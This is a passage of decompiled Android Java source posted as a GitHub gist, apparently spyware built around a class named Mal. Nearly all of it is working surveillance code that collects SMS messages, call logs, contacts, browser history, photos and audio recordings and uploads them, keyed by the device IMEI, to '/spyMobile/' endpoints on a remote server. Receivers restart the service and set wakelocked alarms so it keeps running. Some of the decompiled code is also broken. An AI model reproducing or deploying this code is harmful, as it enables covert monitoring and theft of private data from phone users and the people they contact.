| System.out.println("HTTPHelp : ClientProtocolException : " + e2.toString()); | |
| } catch (IOException e3) { | |
| System.out.println("HTTPHelp : IOException : " + e3.toString()); | |
| } | |
| HttpPost httpPost2; | |
| try { | |
| String result = convertStreamToString(response.getEntity().getContent()); | |
| System.out.println("Browser result = " + result); | |
| httpPost2 = httpPost; | |
| return result; | |
| } catch (Exception e4) { | |
| e = e4; | |
| httpPost2 = httpPost; | |
| Log.e("Url tracking", e.toString()); | |
| Mal.findServer(); | |
| return null; | |
| } | |
| } catch (Exception e5) { | |
| e = e5; | |
| Log.e("Url tracking", e.toString()); | |
| Mal.findServer(); | |
| return null; | |
| } | |
| } catch (Exception e6) { | |
| System.out.println("Error in browser send = " + e6.toString()); | |
| return null; | |
| } | |
| } | |
| public void SendBrowserDetails(String devid) { | |
| HttpPost httpPost; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| HttpResponse response = null; | |
| System.out.println("Inside of SendBrowser Details = " + this.UrlName.size()); | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < this.UrlName.size()) { | |
| try { | |
| String url = (Mal.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + ((String) this.UrlName.get(i)) + "&urlLink=" + ((String) this.UrlLink.get(i)) + "&timing=" + ((String) this.UrlTime.get(i))).replace(" ", "%20"); | |
| Log.d("Browser url ", url); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| try { | |
| response = httpClient.execute(httpPost); | |
| } catch (ClientProtocolException e) { | |
| System.out.println("HTTPHelp : ClientProtocolException : " + e.toString()); | |
| } catch (IOException e2) { | |
| System.out.println("HTTPHelp : IOException : " + e2.toString()); | |
| } | |
| try { | |
| System.out.println("Browser result = " + convertStreamToString(response.getEntity().getContent())); | |
| } catch (Exception e3) { | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| } catch (Exception e4) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| } catch (Exception e5) { | |
| System.out.println("Error in browser send = " + e5.toString()); | |
| } | |
| } | |
| public String SendSMS(String devid) { | |
| DatabaseHandlers db; | |
| HttpPost httpPost; | |
| Exception exp; | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| db = new DatabaseHandlers(this.context); | |
| try { | |
| List<String> Data = db.getAllData("tbl_SMS", new String[]{"Type", "Number", "Text", "Time"}); | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < Data.size()) { | |
| try { | |
| try { | |
| String Number = (String) Data.get(i + 1); | |
| String strMessageText = (String) Data.get(i + 2); | |
| String Time = (String) Data.get(i + 3); | |
| String url = Mal.Server_Domain + "/spyMobile/api_smstracking.php?imei=" + devid + "&smsType=" + ((String) Data.get(i)) + "&smsNumber=" + Number + "&smsText=" + strMessageText + "&smsTiming=" + Time; | |
| Log.d("Send SMS url", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } | |
| } catch (Exception e6) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } catch (Exception e7) { | |
| exp = e7; | |
| httpPost = httpPost2; | |
| } | |
| } | |
| try { | |
| if (Data.size() > 0) { | |
| db.DeleteAllContact("tbl_SMS"); | |
| } | |
| } catch (Exception exp2) { | |
| System.out.println("Error DELETE ALL Contact Log Database = " + exp2.toString()); | |
| } | |
| httpPost = httpPost2; | |
| } catch (Exception e8) { | |
| exp2 = e8; | |
| } | |
| db.close(); | |
| } catch (Exception e9) { | |
| e9.printStackTrace(); | |
| } | |
| return result; | |
| System.out.println("Error SendSMS Log Database = " + exp2.toString()); | |
| db.close(); | |
| return result; | |
| } | |
| public String SendPhoneBook(String devid) { | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| int i = 0; | |
| HttpPost httpPost = null; | |
| while (i < this.PhoneBookNo.size()) { | |
| HttpPost httpPost2; | |
| try { | |
| String url = Mal.Server_Domain + "/spyMobile/api_phonebookaccess.php?imei=" + devid + "&phonebookListname=" + ((String) this.PhoneBookName.get(i)) + "&mobileNumber=" + ((String) this.PhoneBookNo.get(i)) + "&numberType=" + ((String) this.PhoneBookType.get(i)); | |
| Log.d(" phonebook url", url); | |
| url = url.replace(" ", ""); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost2 = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost2, localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| i++; | |
| httpPost = httpPost2; | |
| } | |
| } catch (Exception e6) { | |
| httpPost2 = httpPost; | |
| Mal.findServer(); | |
| i++; | |
| httpPost = httpPost2; | |
| } | |
| i++; | |
| httpPost = httpPost2; | |
| } | |
| } catch (Exception e7) { | |
| e7.printStackTrace(); | |
| } | |
| return result; | |
| } | |
| public void getCallDetails() { | |
| try { | |
| System.out.println("Inside of Call details"); | |
| StringBuffer sb = new StringBuffer(); | |
| Cursor managedCursor = getContentResolver().query(Calls.CONTENT_URI, null, null, null, null); | |
| int number = managedCursor.getColumnIndex("number"); | |
| int type = managedCursor.getColumnIndex(SmsReceiver.TYPE); | |
| int date = managedCursor.getColumnIndex(SmsReceiver.DATE); | |
| int duration = managedCursor.getColumnIndex("duration"); | |
| sb.append("Call Details :"); | |
| if (managedCursor != null && managedCursor.getCount() > 0) { | |
| while (managedCursor.moveToNext()) { | |
| try { | |
| String phNumber = managedCursor.getString(number); | |
| String callType = managedCursor.getString(type); | |
| Date callDayTime = new Date(Long.valueOf(managedCursor.getString(date)).longValue()); | |
| String callDuration = managedCursor.getString(duration); | |
| String dir = null; | |
| switch (Integer.parseInt(callType)) { | |
| case 1: | |
| dir = "INCOMING"; | |
| break; | |
| case 2: | |
| dir = "OUTGOING"; | |
| break; | |
| case 3: | |
| dir = "MISSED"; | |
| break; | |
| } | |
| System.out.println("Call Date = " + callDayTime); | |
| this.CallerNo.add(phNumber); | |
| this.CallDuration.add(Double.toString(roundMyData(Double.parseDouble(callDuration) / 60.0d, 2))); | |
| this.CallType.add(dir); | |
| this.CallerTiming.add(callDayTime.toLocaleString()); | |
| System.out.println("Call time after filter = " + callDayTime.toLocaleString()); | |
| } catch (Exception e) { | |
| System.out.println("Error in call details = " + e.toString()); | |
| e.printStackTrace(); | |
| } | |
| } | |
| } | |
| managedCursor.close(); | |
| } catch (Exception e2) { | |
| Log.e("Debug", e2.toString()); | |
| System.out.println("Error in call details = " + e2.toString()); | |
| e2.printStackTrace(); | |
| } | |
| } | |
| public static double roundMyData(double Rval, int numberOfDigitsAfterDecimal) { | |
| double p = (double) ((float) Math.pow(10.0d, (double) numberOfDigitsAfterDecimal)); | |
| return Math.floor(Rval * p) / p; | |
| } | |
| public void getBrowserDetails(String Browser_last_insert) { | |
| try { | |
| Cursor mCur = this.context.getContentResolver().query(Browser.BOOKMARKS_URI, Browser.HISTORY_PROJECTION, null, null, null); | |
| mCur.moveToFirst(); | |
| if (mCur.moveToFirst() && mCur.getCount() > 0) { | |
| while (!mCur.isAfterLast()) { | |
| try { | |
| String HISTORY_PROJECTION_TITLE_INDEX = mCur.getString(5); | |
| String HISTORY_PROJECTION_URL_INDEX = mCur.getString(1); | |
| String HISTORY_PROJECTION_DATE_INDEX = mCur.getString(3); | |
| Date currentTime = new Date(); | |
| long milliseconds = Long.parseLong(HISTORY_PROJECTION_DATE_INDEX); | |
| Calendar calendar = Calendar.getInstance(); | |
| calendar.setTimeInMillis(milliseconds); | |
| SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyy-MM-dd HH:mm:ss"); | |
| System.out.println("GMT time: " + simpleDateFormat.format(calendar.getTime())); | |
| Date date_last_insert_browser = null; | |
| try { | |
| date_last_insert_browser = new SimpleDateFormat("yyy-MM-dd HH:mm:ss").parse(Browser_last_insert); | |
| } catch (Exception ex) { | |
| System.out.println("Error in getting browser details : " + ex.toString()); | |
| } | |
| if (simpleDateFormat.parse(simpleDateFormat.format(calendar.getTime())).after(date_last_insert_browser)) { | |
| this.UrlName.add(HISTORY_PROJECTION_TITLE_INDEX); | |
| this.UrlLink.add(HISTORY_PROJECTION_URL_INDEX); | |
| this.UrlTime.add(simpleDateFormat.format(calendar.getTime())); | |
| } | |
| } catch (Exception e) { | |
| System.out.println("Error in getting browser details : " + e.toString()); | |
| } | |
| mCur.moveToNext(); | |
| } | |
| mCur.close(); | |
| } | |
| } catch (Exception e2) { | |
| e2.printStackTrace(); | |
| } | |
| } | |
| public void readOutgoingSMS() { | |
| try { | |
| System.out.println("Inside of SMS Reading......."); | |
| Uri SMSURI = Uri.parse("content://sms/sent"); | |
| String[] projection = new String[]{RSSDatabase.ID, SmsReceiver.ADDRESS, SmsReceiver.BODY, SmsReceiver.DATE}; | |
| Cursor cursor = null; | |
| System.out.println("Inside of SMS Reading Try......."); | |
| cursor = getContentResolver().query(SMSURI, projection, null, null, null); | |
| if (cursor != null && cursor.moveToFirst()) { | |
| DatabaseHandlers databaseHandlers = new DatabaseHandlers(this); | |
| String[] columns_sms = new String[]{"Type", "Number", "Text", "Time"}; | |
| int count = 0; | |
| do { | |
| try { | |
| int id = cursor.getInt(cursor.getColumnIndex(RSSDatabase.ID)); | |
| String address = cursor.getString(cursor.getColumnIndex(SmsReceiver.ADDRESS)); | |
| String body = cursor.getString(cursor.getColumnIndex(SmsReceiver.BODY)); | |
| System.out.println("SMS TIMING : " + new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date(Long.valueOf(cursor.getString(cursor.getColumnIndex(SmsReceiver.DATE))).longValue()))); | |
| try { | |
| databaseHandlers = databaseHandlers; | |
| databaseHandlers.Insert_table("tbl_SMS", columns_sms, new String[]{"Outgoing", address, body, new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date(Long.valueOf(cursor.getString(cursor.getColumnIndex(SmsReceiver.DATE))).longValue()))}); | |
| } catch (Exception exp) { | |
| System.out.println("Error in Database MAin Activity = " + exp.toString()); | |
| } | |
| } catch (Exception e) { | |
| System.out.println("Error in browser send = " + e.toString()); | |
| } | |
| if (count != 20) { | |
| count++; | |
| try { | |
| } catch (Exception e2) { | |
| System.out.println("Error = " + e2.toString()); | |
| if (cursor != null) { | |
| cursor.close(); | |
| return; | |
| } | |
| return; | |
| } catch (Throwable th) { | |
| if (cursor != null) { | |
| cursor.close(); | |
| } | |
| } | |
| } | |
| break; | |
| } while (cursor.moveToNext()); | |
| databaseHandlers.close(); | |
| } | |
| if (cursor != null) { | |
| cursor.close(); | |
| } | |
| } catch (Exception e22) { | |
| System.out.println("Error in browser send = " + e22.toString()); | |
| } | |
| } | |
| public String getSMSTime(long time) { | |
| DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss.SSS"); | |
| Calendar calendar = Calendar.getInstance(); | |
| try { | |
| calendar.setTimeInMillis(time); | |
| } catch (Exception e) { | |
| System.out.println("Error in browser send = " + e.toString()); | |
| } | |
| return formatter.format(calendar.getTime()); | |
| } | |
| public int readPhonebook() { | |
| ContentResolver cr = this.context.getContentResolver(); | |
| int Count = 0; | |
| try { | |
| Cursor cursor = cr.query(Contacts.CONTENT_URI, null, null, null, null); | |
| if (cursor.moveToFirst()) { | |
| String contactId = cursor.getString(cursor.getColumnIndex(RSSDatabase.ID)); | |
| Cursor phones = cr.query(Phone.CONTENT_URI, null, null, null, null); | |
| System.out.println("Cursor Size = " + phones.getCount()); | |
| while (phones.moveToNext()) { | |
| Count++; | |
| try { | |
| String name; | |
| String number = phones.getString(phones.getColumnIndex("data1")); | |
| this.PhoneBookNo.add(number); | |
| try { | |
| name = URLEncoder.encode(phones.getString(phones.getColumnIndex("display_name")), "utf-8"); | |
| } catch (UnsupportedEncodingException e1) { | |
| e1.printStackTrace(); | |
| } | |
| this.PhoneBookName.add(name); | |
| switch (phones.getInt(phones.getColumnIndex("data2"))) { | |
| case 1: | |
| this.PhoneBookType.add("Home"); | |
| System.out.println(" Home " + number + "Name " + name); | |
| break; | |
| case 2: | |
| this.PhoneBookType.add("Mobile"); | |
| System.out.println(" Mobile " + number + "Name " + name); | |
| break; | |
| case 3: | |
| this.PhoneBookType.add("Work"); | |
| System.out.println(" Work " + number + "Name " + name); | |
| break; | |
| default: | |
| break; | |
| } | |
| } catch (Exception e) { | |
| System.out.println("Error in browser send = " + e.toString()); | |
| } | |
| } | |
| phones.close(); | |
| } | |
| } catch (Exception e2) { | |
| System.out.println("Error in readPhonebook = " + e2.toString()); | |
| } | |
| return Count; | |
| } | |
| public int CheckConnection() { | |
| try { | |
| NetworkInfo activeNetwork = ((ConnectivityManager) getSystemService("connectivity")).getActiveNetworkInfo(); | |
| if (activeNetwork == null || activeNetwork.getState() != State.CONNECTED) { | |
| return 0; | |
| } | |
| return 1; | |
| } catch (Exception e) { | |
| System.out.println("Error = " + e.toString()); | |
| return 0; | |
| } | |
| } | |
| private void doImageFileUpload(String path, String imei) { | |
| DataInputStream dataInputStream; | |
| String str; | |
| DataInputStream dataInputStream2; | |
| Throwable ioex; | |
| Throwable ioe; | |
| DataOutputStream dataOutputStream; | |
| HttpURLConnection conn = null; | |
| String existingFileName = path; | |
| String lineEnd = "\r\n"; | |
| String twoHyphens = "--"; | |
| String boundary = "*****"; | |
| String responseFromServer = ""; | |
| String urlString = Mal.Server_Domain + "/spyMobile/upload.php?imei=" + imei; | |
| try { | |
| FileInputStream fileInputStream = new FileInputStream(new File(existingFileName)); | |
| conn = (HttpURLConnection) new URL(urlString).openConnection(); | |
| conn.setDoInput(true); | |
| conn.setDoOutput(true); | |
| conn.setUseCaches(false); | |
| conn.setRequestMethod("POST"); | |
| conn.setRequestProperty("Connection", "Keep-Alive"); | |
| conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); | |
| DataOutputStream dos = new DataOutputStream(conn.getOutputStream()); | |
| } catch (MalformedURLException e) { | |
| MalformedURLException ex = e; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| try { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| Log.e("Debug", "Server Response " + str); | |
| } catch (IOException e2) { | |
| ioex = e2; | |
| dataInputStream2 = dataInputStream; | |
| } catch (Exception e3) { | |
| dataInputStream2 = dataInputStream; | |
| } | |
| } | |
| } catch (IOException e4) { | |
| ioe = e4; | |
| try { | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| return; | |
| } | |
| } | |
| try { | |
| dos.writeBytes(twoHyphens + boundary + lineEnd); | |
| dos.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName + lineEnd); | |
| dos.writeBytes(lineEnd); | |
| int bufferSize = Math.min(fileInputStream.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
| byte[] buffer = new byte[bufferSize]; | |
| int bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
| while (bytesRead > 0) { | |
| dos.write(buffer, 0, bufferSize); | |
| bufferSize = Math.min(fileInputStream.available(), AccessibilityEventCompat.TYPE_TOUCH_INTERACTION_START); | |
| bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
| } | |
| dos.writeBytes(lineEnd); | |
| dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); | |
| Log.e("Debug", "File is written"); | |
| fileInputStream.close(); | |
| dos.flush(); | |
| dos.close(); | |
| dataOutputStream = dos; | |
| } catch (MalformedURLException e6) { | |
| ex = e6; | |
| dataOutputStream = dos; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| Log.e("Debug", "Server Response " + str); | |
| } | |
| } catch (IOException e7) { | |
| ioe = e7; | |
| dataOutputStream = dos; | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (Exception e8) { | |
| dataOutputStream = dos; | |
| Mal.findServer(); | |
| return; | |
| } | |
| try { | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (IOException e9) { | |
| ioex = e9; | |
| Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
| } | |
| } | |
| public static String sendAudioDataRecord(String filename_sendAudioDataRecord) { | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| String url = Mal.Server_Domain + "/spyMobile/api_audio.php?imei=" + deviceIMEI + "&audioname=" + filename_sendAudioDataRecord; | |
| Log.d("Send Audio Details ", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(new HttpPost(url), localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| } | |
| return result; | |
| } | |
| public static void doAudioFileUpload(String path) { | |
| DataInputStream dataInputStream; | |
| String str; | |
| DataInputStream dataInputStream2; | |
| Throwable ioex; | |
| Throwable ioe; | |
| DataOutputStream dataOutputStream; | |
| HttpURLConnection conn = null; | |
| String existingFileName = path; | |
| System.out.println("Inside of doupload nd path = " + path); | |
| String lineEnd = "\r\n"; | |
| String twoHyphens = "--"; | |
| String boundary = "*****"; | |
| String responseFromServer = ""; | |
| String urlString = Mal.Server_Domain + "/spyMobile/audio_upload.php?imei=" + deviceIMEI; | |
| try { | |
| FileInputStream fileInputStream = new FileInputStream(new File(existingFileName)); | |
| conn = (HttpURLConnection) new URL(urlString).openConnection(); | |
| conn.setDoInput(true); | |
| conn.setDoOutput(true); | |
| conn.setUseCaches(false); | |
| conn.setRequestMethod("POST"); | |
| conn.setRequestProperty("Connection", "Keep-Alive"); | |
| conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); | |
| DataOutputStream dos = new DataOutputStream(conn.getOutputStream()); | |
| } catch (MalformedURLException e) { | |
| MalformedURLException ex = e; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| try { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| Log.e("Debug", "Server Response " + str); | |
| } catch (IOException e2) { | |
| ioex = e2; | |
| dataInputStream2 = dataInputStream; | |
| } catch (Exception e3) { | |
| dataInputStream2 = dataInputStream; | |
| } | |
| } | |
| } catch (IOException e4) { | |
| ioe = e4; | |
| try { | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| return; | |
| } | |
| } | |
| try { | |
| dos.writeBytes(twoHyphens + boundary + lineEnd); | |
| dos.writeBytes("Content-Disposition: form-data; name=\"upload\";filename=\"" + existingFileName + "\"" + lineEnd); | |
| dos.writeBytes(lineEnd); | |
| int bufferSize = Math.min(fileInputStream.available(), 1073741824); | |
| byte[] buffer = new byte[bufferSize]; | |
| int bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
| while (bytesRead > 0) { | |
| dos.write(buffer, 0, bufferSize); | |
| bufferSize = Math.min(fileInputStream.available(), 1073741824); | |
| bytesRead = fileInputStream.read(buffer, 0, bufferSize); | |
| } | |
| dos.writeBytes(lineEnd); | |
| dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); | |
| Log.e("Debug", "File is written"); | |
| fileInputStream.close(); | |
| dos.flush(); | |
| dos.close(); | |
| dataOutputStream = dos; | |
| } catch (MalformedURLException e6) { | |
| ex = e6; | |
| dataOutputStream = dos; | |
| Log.e("Debug", "error: " + ex.getMessage(), ex); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| Log.e("Debug", "Server Response " + str); | |
| } | |
| } catch (IOException e7) { | |
| ioe = e7; | |
| dataOutputStream = dos; | |
| Log.e("Debug", "error: " + ioe.getMessage(), ioe); | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (Exception e8) { | |
| dataOutputStream = dos; | |
| Mal.findServer(); | |
| return; | |
| } | |
| try { | |
| dataInputStream = new DataInputStream(conn.getInputStream()); | |
| while (true) { | |
| str = dataInputStream.readLine(); | |
| if (str != null) { | |
| Log.e("Debug", "Server Response " + str); | |
| } else { | |
| dataInputStream.close(); | |
| dataInputStream2 = dataInputStream; | |
| return; | |
| } | |
| } | |
| } catch (IOException e9) { | |
| ioex = e9; | |
| Log.e("Debug", "error: " + ioex.getMessage(), ioex); | |
| } | |
| } | |
| public void getSentImages() { | |
| for (File inFile : new File(Environment.getExternalStorageDirectory().toString() + "/DCIM/").listFiles()) { | |
| if (inFile.isDirectory()) { | |
| for (File SubinFile : inFile.listFiles()) { | |
| if (!SubinFile.isDirectory()) { | |
| try { | |
| if ((SubinFile.getAbsolutePath().indexOf(".jpg") > 0 || SubinFile.getAbsolutePath().indexOf(".png") > 0) && SubinFile.getAbsolutePath().indexOf("thumbnails") < 0) { | |
| Log.e("Image path", SubinFile.getAbsolutePath()); | |
| this.ImagepathName.add(SubinFile.getAbsolutePath()); | |
| this.ImagefileName.add(SubinFile.getName()); | |
| } | |
| } catch (Exception e) { | |
| e.printStackTrace(); | |
| } | |
| } | |
| } | |
| continue; | |
| } else { | |
| try { | |
| if (inFile.getAbsolutePath().indexOf(".jpg") > 0 || inFile.getAbsolutePath().indexOf(".png") > 0) { | |
| Log.e("Image path", inFile.getAbsolutePath()); | |
| this.ImagepathName.add(inFile.getAbsolutePath()); | |
| this.ImagefileName.add(inFile.getName()); | |
| } | |
| } catch (Exception e2) { | |
| try { | |
| e2.printStackTrace(); | |
| } catch (Exception e3) { | |
| return; | |
| } | |
| } | |
| } | |
| } | |
| } | |
| public void getSentAudios() { | |
| try { | |
| File[] AudioList = new File(Environment.getExternalStorageDirectory() + "/android/data/AndroidService").listFiles(); | |
| System.out.println("Inside of getsetnAudio = " + AudioList.length); | |
| if (AudioList.length > 0) { | |
| for (int i = 0; i < AudioList.length; i++) { | |
| Log.e("Image: " + i + ": path", AudioList[i].getAbsolutePath()); | |
| this.AudiopathName.add(AudioList[i].getAbsolutePath()); | |
| doAudioFileUpload(AudioList[i].getAbsolutePath().trim()); | |
| this.AudiofileName.add(AudioList[i].getName()); | |
| } | |
| } | |
| } catch (Exception e) { | |
| } | |
| } | |
| } | |
| public class MyReceiver extends BroadcastReceiver { | |
| public void onReceive(Context context, Intent intent) { | |
| for (RunningServiceInfo service : ((ActivityManager) context.getSystemService("activity")).getRunningServices(ActivityChooserViewAdapter.MAX_ACTIVITY_COUNT_UNLIMITED)) { | |
| if (Mal.class.getName().equals(service.service.getClassName())) { | |
| return; | |
| } | |
| } | |
| context.startService(new Intent(context, Mal.class)); | |
| } | |
| } | |
| public class OnAlarmReceiver extends BroadcastReceiver { | |
| public void onReceive(Context context, Intent intent) { | |
| try { | |
| Intent s = new Intent(context, AppService.class); | |
| s.addFlags(335544320); | |
| context.startService(s); | |
| } catch (Exception e) { | |
| Log.e("My Error OnAlarmReceiver ", e.toString()); | |
| } | |
| } | |
| } | |
| public class AlarmReceiver extends BroadcastReceiver { | |
| private static final int ALARM_REQUEST_CODE = 1001; | |
| private static final String TAG = "AlarmReceiver"; | |
| public void onReceive(Context context, Intent intent) { | |
| WakeLock wl = ((PowerManager) context.getSystemService("power")).newWakeLock(1, ""); | |
| wl.acquire(); | |
| Log.e(TAG, "onReceive: AlarmReceiver !!!!!!!!!!"); | |
| Util.setTask(context, false); | |
| boolean needToStartNewTask = false; | |
| Log.e(TAG, "onReceive: " + MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().isTaskInProgress() + " " + MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() + " " + System.currentTimeMillis()); | |
| if (!MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().isTaskInProgress()) { | |
| needToStartNewTask = true; | |
| } else if (MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() <= 0) { | |
| needToStartNewTask = true; | |
| } else if (MyApplication.getInstance(context.getApplicationContext()).getPreferenceSettings().getTaskStartTime() - System.currentTimeMillis() < 600000) { | |
| needToStartNewTask = true; | |
| } | |
| if (needToStartNewTask) { | |
| context.startService(new Intent(context, TaskService.class)); | |
| } else { | |
| Log.e(TAG, "onReceive: no needToStartNewTask"); | |
| } | |
| wl.release(); | |
| } | |
| public void setAlarm(Context context, long triggerTime) { | |
| Log.e(TAG, "setAlarm: "); | |
| AlarmManager am = (AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM); | |
| PendingIntent pi = PendingIntent.getBroadcast(context, 1001, new Intent(context, AlarmReceiver.class), 134217728); | |
| if (VERSION.SDK_INT >= 23) { | |
| am.setExactAndAllowWhileIdle(0, triggerTime, pi); | |
| } else if (VERSION.SDK_INT >= 19) { | |
| am.setExact(0, triggerTime, pi); | |
| } else { | |
| am.set(0, triggerTime, pi); | |
| } | |
| } | |
| public void cancelAlarm(Context context) { | |
| ((AlarmManager) context.getSystemService(NotificationCompat.CATEGORY_ALARM)).cancel(PendingIntent.getBroadcast(context, 1001, new Intent(context, AlarmReceiver.class), 0)); | |
| } | |
| } | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment